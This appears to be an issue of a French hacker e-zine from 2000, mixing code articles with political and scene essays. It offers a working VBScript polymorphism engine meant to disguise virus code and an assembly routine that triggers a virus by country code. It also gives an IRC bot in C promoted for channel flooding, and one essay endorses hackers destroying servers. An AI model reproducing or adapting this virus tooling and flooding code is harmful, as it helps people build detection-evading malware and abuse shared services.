Ca marche au moins. Peut-tre dans un prochain RTCmag, je ferais un trop bon moteur de polymorphisme. Ba on verra........ 

Voici mon moteur de polymorphisme. Si vous voulez l'utiliser, n'oubliez pas d'enlever les arguments, les espaces et les entre en trop et remplacez le contenu de la variable Moi par le nom du fichier o vous mettez mon code. 


---------------------------------------------------------------------------
Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Premier ' Dclare les 										'variables
Const Lecture = 1, Ecriture = 2 'declare des constantes pour que le code 
					'soit plus lisible
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Const vbBinaireComparaison = 0

    Moi = "poly.vbs" ' Moi est le nom du fichier o vous mettez mon moteur 				'de polymorphisme
    Premier = 0
    Nom = HOho +".vbs" 'appel la fonction HOho
    Randomize     
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile Nom               'crer un fichier 
    Set f = fso.GetFile(Nom)
    Set ts = f.OpenAsTextStream(Ecriture,TristateFalse)  'l'ouvre en 										'criture 
    Set MyFile = fso.OpenTextFile(Moi, lecture) 'ouvre ce fichier en mode 								'lecture

'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle 's'arrte 'quand le programme esr arriv au bout du fichier de votre virus.    
    Do              
        Hasard = Int(Rnd * 3 + 1)
        If Hasard = 1 Then DebText = Enter
        If Hasard = 2 Then DebText = Code
        If Hasard = 3 Then DebText = Argument
        If Hasard = 4 Then DebText = SpaceFunc(20, 40)
	
	ts.writeline DebText 
	If MyFile.AtEndOfStream = true then Exit do
    Loop
    
    ts.Close
    MyFile.Close


Function Code()
    dim Verif
    Code = MyFile.ReadLine
    Verif = instr(code, "    Moi = ")
    if  Verif > 0 and Premier = 0 then Code = "    Moi = " + """" + Nom + """" : Premier = 1
End Function


'Cette permet de crer une chane de caractre ASCII compris entre 14 et '255 ( et 'ouais car avant 13 les caractres comme [entre], [tab]  font planter le script vbs 'meme s'ils sont dans des arguments) de longueur 'comprise entre NbMin et NbMax.
Function Chaine_Aleatoire(NbMin, NbMax)
    Dim z, i
    Randomize
    z = Int(Rnd * (NbMax - NbMin) + NbMin)
    For i = 0 To z
        Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire
    Next
End Function

'Cette fonction permet de crer une chane de caractre contenant des espaces de 'nombre compris entre le nombre de la variable MinSpace et celle de la variable 'MaxSpace.
Function SpaceFunc(MinSpace, MaxSpace)
    Dim b
    b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace)
    SpaceFunc = Space(b)
End Function

Function Argument()
    Dim Comment, Espace, NbAleatoire
    Argument = Chaine_Aleatoire(Int(Rnd * 5), Int(Rnd * 10) + 5)
    Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3)
    NbAleatoire=Int(Rnd * 2) + 1
    If NbAleatoire = 1 then Comment = vbCrLf
    If NbAleatoire = 2 then Comment = Espace
    If NbAleatoire = 3 then Comment = ""
    Argument = "'" + Argument + Comment
End Function

'Cette fonction permet de crer une chane de caractre contenant 1  4 [entre]
'en utilisant comme proprit vbCrLf car  vbCrLf =[entre]
Function Enter()
    Dim c, d
    d = Int(Rnd * 4) + 1
    For c = 0 To d
        Enter = Enter + vbCrLf
    Next
End Function

'Cette fonction permet de crer une chane de caractre de longueur entre  3 et 11 et 'avec comme caractre des majuscules car le code ASCII est compris entre 25 et 90 .
Function HOho()
    dim n, m, longueur
    randomize
    longueur = int(rnd * 8) + 3
    for n = 1 to longueur 
        m = chr(int(rnd*25)+65)+m
    next
    HOho = m
End Function

---------------------------------------------------------------------------
                                                          SLy

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                             IRC BOT: part I
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Disclaimer : L'auteur fournit ici un texte  but purement informatif. Il ne peut-tre responsable de l'usage fait des informations fournites.

Qu'est-ce qu'un bot irc ? Il s'agit d'un automate (entendez par l un programme) qui va se comporter comme n'importe quel utilisateur connect  l'irc. L'intrt d'un bot est multiple : garder le chanop d'un channel (que l'on a rcupr par irc split), crer des clones, crer un irc file server, flooder un chan...

Le principe est simple il consiste  ouvrir une socket en mode texte sur le serveur irc puis  respecter le protocole irc.

En gros on commence par ouvrir une socket sous forme d'un fichier, puis on rpond au requete PING par un message PONG.

Voici un exemple de bot tout simple : il va dans un chan passer en argument et execute toute les lignes envoyer dans ce chan commenant par !.

Explication du code source :

  * la fonction socket_connection effectue une banal connection rseau au serveur.

  * la fonction init_irc_connection envoie les commandes de connections au serveur irc.
Ces commandes sont :

_ "NICK <nickname>" : donne simplement au serveur le nom du bot. Elle permet galement de changer son nickname au cours d'une session irc.

_ "USER <username> <hostname> <servername> :<realname>" :
donne au serveur differentes donne : le nom de l'utilisateur, son ip, le server sur lequel il est connectee et le nom reel du bot. Les paramtres hostname et servername ne serve en ralit que pour les connection serveur irc vers serveur irc. Bon ici on envoie partout le nick du bot

A noter que les deux commandes NICK et USER constitue l'enregistrement du client auprs du serveur : ce sont des tapes obligatoire :  partir dela on est client irc.

_ "PING :<addr>" -> "PONG :<addr>" : la fonction ping sert  tester si le client est prsent en l'ocurrence il l'effectue une fois l'enregistrement pass. A un message ping on repond logiquement pong avec la meme addresse.

_ "JOIN <chan>[,<chan1>...] [<key1>[,<key2>...]]" : Cette fonction sert  joindre et si besoin crer un ou plusieurs channel avec ou sans mot de passe. Ici on join un pauv chan basic sans rien de plus...

  * la fonction irc_action : c'est celle qui constitue rellement le bot : elle est execut sans fin.
Cette fonction attends des lignes venant du serveur, les affiche et les interprte. Les ractions possiblent sont :

_ A un message PING : Il PONG

_ A un message du style "PRIVMSG <chan> :!" o <chan> est le nom du channel par dfaut : il interprte la suite du message comme une commande  envoyer au serveur.
La commande "PRIVMSG <receiver>[,<receiver2>...] :<text>" : envoie le text <text> au(x) channel(s) ou utilisateur(s) <receiver>(,<receiver2>...).

A noter que si la commande passer apres le '!' est QUIT alors la fonction le dtecte et quitte.

Voici maintenant le code source :

<-- begin bot1.c -->
<-- cut here     -->
/********************************************
 *            bot1.c by S/asH               *
 * It's just a little irc bot with bases    *
 * commands.                                *
 * for making : gcc bot1.c -o bot1          *
 * Greetz to : RTCG4ng                      *
 *   and the one who has teached me all     *
 *   about irc bot : he will recognize      *
 *   himself.                               *
 ********************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* default irc port */
#define IRCPORT 6667

/* Command type */
#define HD_CMD_TYPE    "PRIVMSG %s :!"

/* IRC Commands List */
#define PING_CMD       "PING :%s\n"
#define PONG_CMD       "PONG :%s\n"
#define NICK_CMD       "NICK %s\n"
#define USER_CMD       "USER %s %s %s :%s\n"
#define JOIN_CMD       "JOIN %s %s\n"
#define QUIT_CMD       "QUIT\n"


/********************************************
 * socket_connection : connect to server    *
 *  Input  : sa : sockaddr_in structure     *
 *  Output : s  : socket number             *
 ********************************************/
int socket_connection(char *host, int port, struct sockaddr_in *sa)
{
  int s;
  struct hostent *he;

  /* socket connection to server */
  s = socket(PF_INET, SOCK_STREAM, 0);
  sa->sin_family = AF_INET;
  sa->sin_port = htons(0);
  inet_aton("0.0.0.0", &(sa->sin_addr));

  if (bind(s, (struct sockaddr *) sa, sizeof (*sa))) 
    {
      perror("bind");
      exit(1);
    }

  he = gethostbyname(host);
  if (!he)
    {
      herror("looking up server");
      exit(2);
    }

  sa->sin_addr.s_addr = *((u_int32_t *) he->h_addr);
  sa->sin_port = htons(port);
  printf("server address is %s\n", inet_ntoa(sa->sin_addr));
  
  if(connect(s, (struct sockaddr *)sa, sizeof (*sa)))
    {
      perror("connect");
      exit(1);
    }
  /* connected to server */
  return s;
}

/********************************************
 * init_irc_connection : initialize irc     *
 *  Input  : s  : socket number             *
 *           sa : addresse structure        *
 *           socklen : size of sa           *
 *           nick : bot's nickname          *
 *           channel : chan to join         *
 ********************************************/
void init_irc_connection(int s, struct sockaddr *sa, long socklen, char *nick, char *channel)
{
  int n; char buf[10000];
  /* sending nick/user */
  sprintf(buf, NICK_CMD, nick);
  if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
    {
      perror("sendto");
      exit(1);
    }
  sprintf(buf, USER_CMD, nick, nick, nick, nick);
  if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
    {
      perror("sendto");
      exit(1);
    }

  /* PING ? -> PONG ! */
  if((n=recvfrom(s, buf, sizeof(buf), 0, NULL, NULL)) < 0)
    {
      perror("recvfrom");
      exit(-1);
    }
  if(!strncasecmp(buf, PING_CMD, 4)) 
    {
      buf[1] = 'O';
      if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
	{
	  perror("sendto");
	  exit(-1);
	}
    }
  else /* Quit if error */
    {
      write(1, buf, n);
      if(sendto(s, QUIT_CMD, strlen(QUIT_CMD), 0, sa, socklen) < 0)
	{
	  perror("sendto");
	  exit(-1);
	}
      exit(2);
    }
  /* Joining channel */
  sprintf(buf, JOIN_CMD, channel, "");
  if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
    {
      perror("sendto");
      exit(1);
    }
}

/********************************************
 * irc_action : action to do in the irc     *
 *  Input  : s  : socket number             *
 *           sa : addresse structure        *
 *           socklen : size of sa           *
 *           actionstr : request format str *
 *  Output : 1 : quit, 0 : continue         *
 ********************************************/
int irc_action(int s, struct sockaddr *sa, long socklen, char *actionstr)
{
  int n;
  char buf[10000]; 
  char *tmp;
  if((n=recvfrom(s, buf, sizeof(buf), 0, NULL, NULL)) < 0)
    {
      perror("recvfrom");
      exit(-1);
    }
  buf[n] = 0; /* removing everything after the CR */
  write(1, buf, n);
  /* PING Message */
  if(!strncasecmp(buf, "PING", 4)) 
    {
      buf[1] = 'O';
      if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
	{
	  perror("sendto");
	  exit(-1);
	}
    }
  /* Action requesting by user */
  else if(strstr(buf, actionstr))
    {
      tmp = strstr(buf, actionstr) + strlen(actionstr);
      if(sendto(s, tmp, strlen(tmp), 0, sa, socklen) < 0)
	{
	  perror("sendto");
	  exit(-1);
	}
      if(strncasecmp(tmp, QUIT_CMD, strlen(QUIT_CMD)-1)==0)
	{
	  printf("Exiting...\n");
	  return 1;
	}
    }
  return 0;
}

/********************************************
 * main : the main procedure                *
 *  Input  : argc : arguments counter       *
 *           argv : arguments list          *
 ********************************************/
int main(int argc, char* argv[])
{
  int s;
  struct sockaddr_in sa;
  char actionstr[100];
  if((argc<=3) || (argc>=6))
    {
      printf("Syntax : bot1 servname nickname channel [port]\n",argc);
      exit(-1);
    }

  sprintf(actionstr, HD_CMD_TYPE, argv[3]);

  /* connection to server */
  s = socket_connection(argv[1], (argc != 4) ? atoi(argv[4]) : IRCPORT, &sa);

  /* Initializing irc connection */
  init_irc_connection(s, (struct sockaddr *) &sa, sizeof(sa), argv[2], argv[3]);

  /* main loop */
  while (!irc_action(s, (struct sockaddr *) &sa, sizeof(sa), actionstr));
  return 0;
}

<-- cut here     -->
<-- end bot1.c   -->

Alors si vous voulez tester des commandes irc je
vous conseille d'utiliser telnet sur le port irc
(normalement 6667).

Il est b ce bot mais qu'est-ce-qu'on peut en faire ?
-> irc flood mais n'en abuser pas trop (faite le sur
#neo-nazis ou sur #teen)
etc... 

Voil c'est fini pour l'instant.

Ressources : ircd : serveur irc sous unix
             RFC 1459 : RFC du protocol IRC

Greetz : RTCG4ng
         celui qui m'a tout appris sur les irc bots ;il se reconnaitra : on a passer une apres-midi entiere a flooder un chan avec plus de 100 bots en parallles et on a fini par le rcuprer grace  bitchX.

<-- File by S/asH -->
[EOF]

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
				   On the BeHalf of BrightNeSS...
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

02/07/2000, 21heures 29minutes et 12 secondes. Les italiens, dans une frnsie infernale, se dchainent. C'est 1 seconde plus tard que la France se met  chanter. La tendance s'inverse et avec elle le rapport de force. Le renouveau de l'quipe de France de foot est la projection d'un renouveau Franais dans tous les domaines, y compris le hacking...
     Le chemin de cette quipe est long, difficile,  l'image de celui de la RTC et des autres prcurseurs bien souvant perus comme des gladiateurs dont le but est de courrir  la perte  cause d'une seule motivation; l'homme contre la bte. La tendance s'est en effet inverse: l'homme est devenu hacker et la bte est devenue commerciale. La RTC, de par son envie, sa cohsion sociale dans le travail, dans l'entraide, dans la volont de faire avancer les choses, de permettre les exploits; ne possde qu'un but, qu'une motivation: ralier des hommes  sa cause, pour qu'elle en devienne populaire, dans une qute sans fin; celle de repousser les limites, les limites de la solidarit, les limites de la lutte que ce soit contre la stupidit des hommes, contre leur cessit, contre leur trop grande tendance  se voiler la face afin de se masquer le rel et de s'en constituer un autre.
     Cette cohsion sociale, cette authentique solidarit, est la mme qu'il y a deux ans, celle qui avait runi toutes les ethnies, toutes les tendances, refait surface cette anne. Oui! 90 minutes de sport et Franais, de souche ou non, se regroupent ne font qu'une seule entit: l'Entit Franaise! Cette mme Entit qui fait mentir bon nombre d'hommes,  l'image d'un certain JM Le Pen et ses amis  classer dans les inclassables... Oui, Monsieur Le Pen, il n'y a pas des frances de RACES, mais il y a une France, au mme titre qu'il n'y a pas des hackers mais un Hacker qui possde les mmes rgles et est gal devant une chartre, celle du Hacker!
     Alors, messieurs les nazis, xnophobes, et autres, vous tes des tres humains, au mme titre que n'importe quel homme de cette terre,  cette diffrence prs que vous ne possdez pas toutes vos facults mentales pour mettre un voile et laisser dans un coin perdu de votre bote crnienne, une certaine ShoaH ou bien encore une ApartheiD qui selon moi ne peut que se rveiller  l'approche de la notion de Libert... Vous tes donc bien plac pour ser aborder des notions que votre entendement est incapable d'apprhender!
Darwin crivait dans son ouvrage: "Le plus fort subsiste car il en possde le pouvoir suffisant,  la diffrence du plus faible qui lui en est dpossd".La thorie de l'volution des espces s'appliquait  sa base aux animaux ainsi qu'aux hommes primitifs. Qu'tes-vous  mes yeux, except des btes sauvages agissant par instinct et non par rflexion, des hommes primitifs dont l'unique but est la recherche des intrts personnels fonde sur l'intolrance?
     Chez nous, l'individualisme conduit  la perte. Quelle perte? Celle de l'identit. Marx posait en avant une thorie sur la "conscience de classe", ici la classe du Hacker est la mme que celle de l'Homme, elle est universelle: elle se veut avoir pour unique finalit la dfense de la Libert, vous savez, celle qui fut baffoue. Vous, les racistes, en savez quelque chose. Comment peut-on soutenir des propos fascistes tant ns dans la gnration des dsastres? Les images des KZ ont t diffuses en masse de faon  faire ragir: qui peut affirmer dignement ne pas avoir senti du dgout, de la fureur, de la profonde haine  la vue de ces clichs?
     Je lance ici un simple appel  la rflexion. Je ne prne pas plus l'altruisme que je ne prohibe l'individualisme. Nous sommes dfenseurs des liberts... jusqu' quel point faut-il en subir le poids? .....

                                                                SnEaKie                  

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
			La bOmb du mAg : une gchette base sur le pays
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

	Pas de bombe complte cette fois mais simplement une petite gchette base sur le pays. C'est facile  faire, a s'intgre  n'importe quel virus. Le code est archi simple, on fait un simple appel  la fonction 38h de l'interruption 21h. Cette fonction renvoie tout un tas d'informations sur le pays en question. On a juste besoin d'un buffer de 40 octets qui sera actualis aprs l'appel.

--------------------------------CUT HERE-----------------------------
COUNTRY:
	mov ah,38h
	mov al,0
	mov dx,offset buffer
	int 21h
	cmp bx,XX
	ret
--------------------------------CUT HERE-----------------------------

	L, je vais me prendre un Coca parce que je suis trop creve. En fait, je n'ai pas tout  fait fini. C'est bien beau tout a mais a ne nous dit pas  quoi on compare bx. Tout l'intrt est de connatre le code du pays que l'on vise. Et l, Androgyne arrive. En fait, les codes pays pour PC sont exactement les mmes que les codes tlphoniques internationaux (enfin des gars pas trop cons qui ont rflchi 5 minutes avant de faire une connerie qui cote des milliards comme le non bug de l'an 2000).
	Voici donc le dtail de la fonction 38h.

---------------------------------------------------------------------
Fonction 38h : Get country/specific information
paramtres d'entre:
	AH=38h
	DS:DX=pointeur sur le buffer o mettre les infos
     si on veut les infos concernant le pays dans lequel on se trouve,
	 AL=00h
     si on veut les infos concernant un pays particulier,
	 AL=code du pays si le code est entre 01h et FEh
        ou
	 AL=FFh
	 BX=code 16 bits du pays

paramtres de sortie:
	C mis  1 s'il y a eu une erreur
	AX=code d'erreur si chec
	C mis  0 s'il n'y a pas eu d'erreur
	BX=code 16 bits du pays
	DS:DX le buffer est actualis
---------------------------------------------------------------------

Le buffer est actualis comme suit (c'est en anglais, j'ai pas eu le temps de le traduire) :

---------------------------------------------------------------------
Offset	Taille	Description
 00h	WORD	date format  0 = USA	mm dd yy
			     1 = Europe dd mm yy
			     2 = Japan	yy mm dd
 02h  5 BYTEs	ASCIZ currency symbol string
 07h  2 BYTEs	ASCIZ thousands separator
 09h  2 BYTEs	ASCIZ decimal separator
 0Bh  2 BYTEs	ASCIZ date separator
 0Dh  2 BYTEs	ASCIZ time separator
 0Fh	BYTE	currency format
		bit 2 = set if currency symbol replaces decimal point
		bit 1 = number of spaces between value and currency symbol
		bit 0 = 0 if currency symbol precedes value
			1 if currency symbol follows value
 10h	BYTE	number of digits after decimal in currency
 11h	BYTE	time format
		bit 0 = 0 if 12-hour clock
			1 if 24-hour clock
 12h	DWORD	address of case map routine
		(FAR CALL, AL = character to map to upper case [>= 80h])
 16h  2 BYTEs	ASCIZ data-list separator
 18h 10 BYTEs	reserved
---------------------------------------------------------------------

Et finalement, les codes de quasiment tous les pays... (galement en anglais, l je pense qu'il ne devrait pas y avoir de problmes de traduction)

---------------------------------------------------------------------
 001h	United States
 002h	Canadian-French
 003h	Latin America
 014h	Egypt
 01Bh	South Africa
 01Eh	Greece
 01Fh	Netherlands
 020h	Belgium
 021h	France
 022h	Spain
 024h	Hungary (not supported by DR DOS 5.0)
 026h	Yugoslavia (not supported by DR DOS 5.0) -- obsolete
 027h	Italy / San Marino / Vatican City
 028h	Romania
 029h	Switzerland / Liechtenstein
 02Ah	Czechoslovakia / Tjekia (not supported by DR DOS 5.0)
 02Bh	Austria (DR DOS 5.0)
 02Ch	United Kingdom
 02Dh	Denmark
 02Eh	Sweden
 02Fh	Norway
 030h	Poland (not supported by DR DOS 5.0)
 031h	Germany
 033h	Peru
 034h	Mexico
 035h	Cuba
 036h	Argentina
 037h	Brazil (not supported by DR DOS 5.0)
 038h	Chile
 039h	Columbia
 03Ah	Venezuela
 03Ch	Malaysia
 03Dh	International English / Australia
 03Eh	Indonesia / East Timor
 03Fh	Philippines
 040h	New Zealand
 041h	Singapore
 051h	Japan (DR DOS 5.0, MS-DOS 5.0+)
 052h	South Korea (DR DOS 5.0)
 054h	Vietnam
 056h	China (MS-DOS 5.0+)
 058h	Taiwan (MS-DOS 5.0+)
 05Ah	Turkey (MS-DOS 5.0+)
 05Bh	India
 05Ch	Pakistan
 05Dh	Afghanistan
 05Eh	Sri Lanka
 062h	Iran
 063h	Asian English
 070h	Belarus
 0C8h	Thailand
 0D4h	Morocco
 0D5h	Algeria
 0D8h	Tunisia
 0DAh	Libya
 0DCh	Gambia
 0DDh	Senegal
 0DEh	Maruitania
 0DFh	Mali
 0E0h	African Guinea
 0E1h	Ivory Coast
 0E2h	Burkina Faso
 0E3h	Niger
 0E4h	Togo
 0E5h	Benin
 0E6h	Mauritius
 0E7h	Liberia
 0E8h	Sierra Leone
 0E9h	Ghana
 0EAh	Nigeria
 0EBh	Chad
 0ECh	Centra African Republic
 0EDh	Cameroon
 0EEh	Cape Verde Islands
 0EFh	Sao Tome and Principe
 0F0h	Equatorial Guinea
 0F1h	Gabon
 0F2h	Congo
 0F3h	Zaire
 0F4h	Angola
 0F5h	Guinea-Bissau
 0F6h	Diego Garcia
 0F7h	Ascension Isle
 0F8h	Seychelles
 0F9h	Sudan
 0FAh	Rwhanda
 0FBh	Ethiopia
 0FCh	Somalia
 0FDh	Djibouti
 0FEh	Kenya
 0FFh	Tanzania
 100h	Uganda
 101h	Burundi
 103h	Mozambique
 104h	Zambia
 105h	Madagascar
 106h	Reunion Island
 107h	Zimbabwe
 108h	Namibia
 109h	Malawi
 10Ah	Lesotho
 10Bh	Botswana
 10Ch	Swaziland
 10Dh	Comoros
 10Eh	Mayotte
 122h	St. Helena
 129h	Aruba
 12Ah	Faroe Islands
 12Bh	Greenland
 15Eh	Gibraltar
 15Fh	Portugal
 160h	Luxembourg
 161h	Ireland
 162h	Iceland
 163h	Albania
 164h	Malta
 165h	Cyprus
 166h	Finland
 167h	Bulgaria
 172h	Lithuania
 173h	Latvia
 174h	Estonia
 175h	Moldova
 17Dh	Serbia / Montenegro
 181h	Croatia
 182h	Slovenia
 183h	Bosnia-Herzegovina (Latin)
 184h	Bosnia-Herzegovina (Cyrillic)
 185h	FYR Macedonia
 1A5h	Czech Republic
 1A6h	Slovakia
 1F4h	Falkland Islands
 1F5h	Belize
 1F6h	Guatemala
 1F7h	El Salvador
 1F8h	Honduras
 1F9h	Nicraragua
 1FAh	Costa Rica
 1FBh	Panama
 1FCh	St. Pierre and Miquelon
 1FDh	Haiti
 24Eh	Guadeloupe
 24Fh	Bolivia
 250h	Guyana
 251h	Ecuador
 252h	rench Guiana
 253h	Paraguay
 254h	Martinique / French Antilles
 255h	Suriname
 256h	Uruguay
 257h	Netherland Antilles
 29Eh	Saipan / N. Mariana Island
 29Fh	Guam
 2A0h	Norfolk Island (Australia) / Christmas Island/Cocos Islands / Antartica
 2A1h	Brunei Darussalam
 2A2h	Nauru
 2A3h	Papua New Guinea
 2A4h	Tonga Islands
 2A5h	Solomon Islands
 2A6h	Vanuatu
 2A7h	Fiji
 2A8h	Palau
 2A9h	Wallis & Futuna
 2AAh	Cook Islands
 2ABh	Niue
 2ACh	American Samoa
 2ADh	Western Samoa
 2AEh	Kiribati
 2AFh	New Caledonia
 2B0h	Tuvalu
 2B1h	French Polynesia
 2B2h	Tokealu
 2B3h	Micronesia
 2B4h	Marshall Islands
 311h	Arabic (Middle East/Saudi Arabia/etc.)
 324h	Ukraine
 329h	Antigua and Barbuda / Anguilla / Bahamas / Barbados / Bermuda
	British Virgin Islands / Cayman Islands / Dominica / Dominican Republ.
	Grenada / Jamaica / Montserra / St. Kitts and Nevis / St. Lucia
	St. Vincent and Grenadines / Trinidad and Tobago / Turks and Caicos
 352h	North Korea
 354h	Hong Kong
 355h	Macao
 357h	Cambodia
 358h	Laos
 370h	Bangladesh
 3C0h	Maldives
 3C1h	Lebanon
 3C2h	Jordan
 3C3h	Syrian Arab Republic
 3C4h	Ireq
 3C5h	Kuwait
 3C6h	Saudi Arabia
 3C7h	Yemen
 3C8h	Oman
 3CBh	United Arab Emirates
 3CCh	Israel (DR DOS 5.0,MS-DOS 5.0+)
 3CDh	Bahrain
 3CEh	Qatar
 3CFh	Bhutan
 3D0h	Mongolia
 3D1h	Nepal
 3E3h	Myanmar (Burma)
Note:	not all country codes are supported by all versions of DOS
---------------------------------------------------------------------

	Pour finir, je vais citer le virus Pearl Harbor qui possdait une gchette de ce type associe  une gchette sur la date (voir RTC m4g n1). Pearl Harbor se dclenchait uniquement au Japon, le 7 dcembre. Qu'ils sont drles ces auteurs de virus...

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                              MOBILISATION GENERALE !!!
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

D 'autant n'emporte le propos,
Nous resterons toujours debout !
D 'autant n'emporte le propos,
Les fachos nous aurons pas !
L'ennemi nous attends au tournant,
Nous serons toujours fidele au rendez vous !
A l' aube de la revolution 
Les fachos nous les niquerons !
Nous irons les couilles en avant,
Aux cotes de Che Gue Morvan !
L'ennemi nous attends au tournant,
Nous serons toujours fidele au rendez vous !
Hissez haut, le drapeau noir...

C'est sur ces bonnes paroles des Pouss' Megos que je debute donc ce "coup de gueule" 
 propos d'un des grands points d'interrogations qui pose actuellement probleme.
Le fascisme (et la pedophilie) sur un internet est grandissant grace a cette heureuse 
(et dans ce cas present, malheureuse) pseudo liberte qui reigne encore un peu sur internet.
Comment lutter ? 

 Le choix de certains pays a t donc de responsabiliser tous les serveurs (Ceux-ci sont donc responsabe du contenu de leur page). La methode est simple, et peut ,peut-etre, fonctionner mais elle reste inutile. En effet cette responsabilite n'existe pas dans tous les pays. De plus ceux ci possedent desormais leur propre serveur alors cette loi ne sert a rien. La police, aujourd'hui, semble depourvu de moyen. Je ne desire pas aller contre les lois qui sont necessaires. Je pense qu' actuellement les "hackers" qui sont consideres comme dangereux et hors la loi essayent beaucoup plus de lutter contre eux et sont nettement plus efficace pour l'instant, que ceux qui sont payes pour faire respecter la loi et nos droits. Biensur leurs exploits ne sont publis ou diffuss uniquement lorsque une grosse societe a t touche ou lorsque que l'on peut trouver un interet economique a l'vnement. Leur image est donc bafou soit par des petits merdeux utilisant leur logiciel, soit par des personnes qui se sont laisss convaincre par l argent.
 Or certains hackers ne sont pas de ceux ci et n'ont pas pour but de detruire niquement pour l argent ou pour s'amuser. Certains ont des buts moraux plus qu'economiques, bien sur ils detruisent, mais quand il s'agit d'exploser un serveur de pedophilie (ou hebergeant leurs sites) je pense que personne ira se plaindre. A quand les medias parlerons de nous en bien. C' est peut-etre a nous de montrer notre travail et nos possibilites : reste a savoir si tout le monde possede les meme convictions que moi et desire prendre le meme chemin. 

Remarque et incomprehension: 

Lorsque Yahoo a fait scandale au moment ou il hebergeait un forum de vente d'objet Nazi il s'est refuser (au debut) a faire quoi que ce soit pour me vaquer a : l je comprends quand il repond que ce n'est pas de a faute. Mais pendant que ce forum existait Yahoo ce faisait un joyeux plaisir d'enlever de leur moteur de recherche tous les sites de hacks. Ici subsiste une incomprehension dans mon esprit qui je l espere peut provoquer des reactions de votre part.

Dommage internet etait si bien parti pour devenir le seul endroit sur cette terre ou l'on pouvait se permettre d' exister sans police (pour faire reigner l'ordre) ni argent. L' ordre et la loi etant gerer par la moral de chacuns des internautes : UN MONDE SANS FLICS, MERDE, CA VALAIT LE COUP D ESSAYER !!
Et bien non, les humains sont vraiment tous des cons de gacher cette si belle occasion mais bon c'est comme a: c'est pourquoi les hackers se doivent d'exister.
Oui la liberte sur internet doit exister mais pas pour les fascistes et tous ceux qui 
pourrissent mon monde , NOTRE MONDE.
							
PS: Ne vous y mprenez pas, lorsque j donne une certaine utilit  la loi sur les hebergeurs, j veux parler d'une loi qui interdirait les sites nazis et pedophiles. Le probleme est que, NSA, DGSE, DST, site commerciaux oblige, une telle loi finirait par permettre une prise de controle d'internet. L'anarchy parait etre la seule solution...
  
	               							MoRPheE.
 
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 
                          L'UndeRgrOUnd FranCais
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 

Ce texte est largement inspire par l'article du meme nom de NeurAlien pour CORE DUMP (il est paru en francais dans le NoWay III).

Introduction :
L'underground francais a commenc  exister par NeurAlien et son mag NoWay. A l'epoque, il n'etait qu'un petit ilot quasi-inexistant animer d'une franche volonte de savoir. A succeder  Noway et NeurAlien, NoRoute and The Philament Empire, le PhE, que nous regrettons tous, et feu CoD4 ont tres vivement particip au developpement de l'underground francais entre 1995 et 1997. sORC3Ry ne pensait surement pas qu'en ecrivant son edito il ne verrait pas l'an 1998 de l'underground.
Pour ma part, j'ai commencer a decouvrir ce monde en 1997 et j'ai vu mourrir PhE. Avec lui est partit tout un esprit instaure par NeurAlien. J'ai ainsi errer pendant plusieurs annes sur le net a la recherche de ce monde perdu et tout ce que j'y ai vu c'est le vide.

Actuellement :
Je me demande si je peut considerer que l'underground francais renait par la creation de nouveau groupe, du 2600 francais, etc... mais une chose est sur :
Il revient sans son esprit, ses regles intrinseques. On aurait jamais os auparavant faire du crashing a tout bout de champs, bloquer les sites des autres groupes... rien que pour se la peter. Maintenant, seule compte la loi du plus fort ... en gueule : si on regarde les mecs sur l'irc ils se crachent a la gueule les uns sur les autres en utilisants leurs pauv sockets de troie pour se faire passer pour des 3lit3s. De plus l'Internet a ete envahit par les commerciaux : ils sont en trains de faire de lui ce qu'ils ont fait aux ondes hertziennes : un monde de publicite sans informations reelles. Il n'est plus rare maintenant de ne pas trouver la documentation sur un quelconque probleme non pas parce que personne ne l'a encore fait mais parce que cette page n'est pas indexe du au sur-flots des sites internet. Ainsi actuellement, les grands moteurs de recherche n'indexent plus les pages personnels qui sont les pages apportants le plus de richesse a l'internet.
A ceci, s'ajoute un nouveau comportement, celui qui croit toujours tout savoir et qui, du coup, raconte tout et n'importe quoi. Un exemple flagrant est une personne lorsque je lui ai introduit le debut d'un script pour lui poser un pb a dit que la ligne '#!\bin\sh' etait une ligne de commentaire : je le prierai d'aller voir dans la man page du bash et de chercher '#!'. (NB : le '#!' sert a indique dans un script l'interpreteur de celui-ci)

Conclusion :
Je veux bien que l'underground renaisse, c'est d'ailleur tout ce que je souhaite mais avec d'autres comportements que ceux adopter maintenant. Il faut aller de l'avant et ne pas stagner en cherchant a peter plus haut que son cul. Et nous devons chercher a ce que l'internet reste un monde de connaissance et ne deviennent pas une nouvelle television... Il faut que l'internet reste un monde d'entraide pour le progres mutuel 

NeurAlien, NoWay, PhE : Nous vous regrettons...

Greetz : NeurAlien et Noway
	 PhE, CoD4, sORC3Ry et NoRoute

"Grow, Forth, multiply and fill the Earth"

<-- Filez by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
			Les gnrateurs de nombres pseudo-alatoires
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

